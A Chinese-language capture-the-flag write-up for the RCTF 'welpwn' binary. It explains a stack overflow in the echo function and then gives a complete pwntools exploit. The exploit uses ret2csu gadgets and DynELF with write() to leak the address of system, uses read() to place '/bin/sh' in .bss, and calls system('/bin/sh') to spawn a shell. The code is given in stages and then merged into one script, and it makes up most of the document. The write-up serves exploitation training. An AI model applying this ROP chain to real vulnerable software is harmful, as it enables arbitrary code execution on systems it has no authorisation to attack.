先checksec一下:

漏洞点其实蛮好找的:程序里也没几个函数

main函数中read了一个字符串,然后当成参数传递给了echo函数

在echo中的函数的接收buffer长度仅仅为0x10,而且是一个一个字符赋值的,栈缓冲区溢出漏洞,0x10 + 0x8 = 0x18个填充

控制了ESP之后,程序开启了NX,一定想到的是ROP

这里的基础知识是:

http://www.vuln.cn/6645

http://www.vuln.cn/6644

http://www.vuln.cn/6643

这三篇算是ROP的基础入门,涉及X86、X64以及通用gadgets的使用

这里的思路及步骤是:

(1)利用DynELF工具,弄出来system、gets、write函数的地址

(2)调用gets函数读取"/bin/sh",存入bss段

(3)调用system函数执行参数"/bin/sh"

最常用的就是这一段代码,先来写第一段,利用write函数泄露地址:执行write(1, write_got, 8)

1表示标准输出(屏幕),8代表长度,write_got为地址

根据x64原则,即:write(rdi = 1, rsi = write.got, rdx = 8)

于是有如下的赋值:

rbx=0,rbp=1,r12为write函数地址,r13为8,r14为write函数地址,r15为1

第一段如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

io = process("./welpwn")
context(arch = "amd64", os = "linux")

elf = ELF("./welpwn")
read_got = elf.symbols['got.read']
write_got = elf.symbols['got.write']
main = elf.symbols['main']

m3c = 0x400880
p6r = 0x40089A
p4r = 0x40089C

flag = 0

def leak(address):
    global flag
    rbx = 0
    rbp = 1
    r12 = write_got
    r13 = 8
    r14 = address
    r15 = 1
    ret = m3c
    payload = "A" * 16 + "B" * 8
    payload += p64(p4r) + p64(p6r)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
    ret = main
    payload += p64(0) * 7 + p64(ret)
    io.recvuntil("Welcome to RCTF\n")
    io.sendline(payload)
    if flag:
        io.recv(0x1b)
    addr = io.recv(8)
    #log.info("recv:" + str(addr))
    flag += 1
    return addr

d = DynELF(leak, elf = ELF("./welpwn"))
system = d.lookup("system", "libc")
log.info("system addr = " + hex(system))
io.interactive()

下一步是利用相同gadgets执行read(rdi = 0, rsi = bss_start, rdx = 8)

即有:

rbx=0,rbp=1,r12为read函数地址,r13为8,r14为bss_start,r15为0

#read(0, bss_start, 24)
bss = 0x601300
rbx = 0
rbp = 1
r12 = read_got
r13 = 24
r14 = bss
r15 = 0
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("RCTF\n")
sleep(1)
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00" + p64(system))

同理,执行system("/bin/sh")也是一样,代码合并如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

io = process("./welpwn")
context(arch = "amd64", os = "linux")

elf = ELF("./welpwn")
read_got = elf.symbols['got.read']
write_got = elf.symbols['got.write']
main = elf.symbols['main']

m3c = 0x400880
p6r = 0x40089A
p4r = 0x40089C

flag = 0

def leak(address):
    global flag
    rbx = 0
    rbp = 1
    r12 = write_got
    r13 = 8
    r14 = address
    r15 = 1
    ret = m3c
    payload = "A" * 16 + "B" * 8
    payload += p64(p4r) + p64(p6r)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
    ret = main
    payload += p64(0) * 7 + p64(ret)
    io.recvuntil("Welcome to RCTF\n")
    io.sendline(payload)
    if flag:
        io.recv(0x1b)
    addr = io.recv(8)
    #log.info("recv:" + str(addr))
    flag += 1
    return addr

d = DynELF(leak, elf = ELF("./welpwn"))
system = d.lookup("system", "libc")
log.info("system addr = " + hex(system))


#read(0, bss_start, 24)
bss = 0x601300
rbx = 0
rbp = 1
r12 = read_got
r13 = 24
r14 = bss
r15 = 0
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("RCTF\n")
sleep(1)
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00" + p64(system))


#system("/bin/sh")
rbx = 0
rbp = 1
r12 = bss + 8
r13 = r14 = r15 = bss
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("RCTF\n")
io.sendline(payload)
sleep(1)
io.recv()
io.interactive()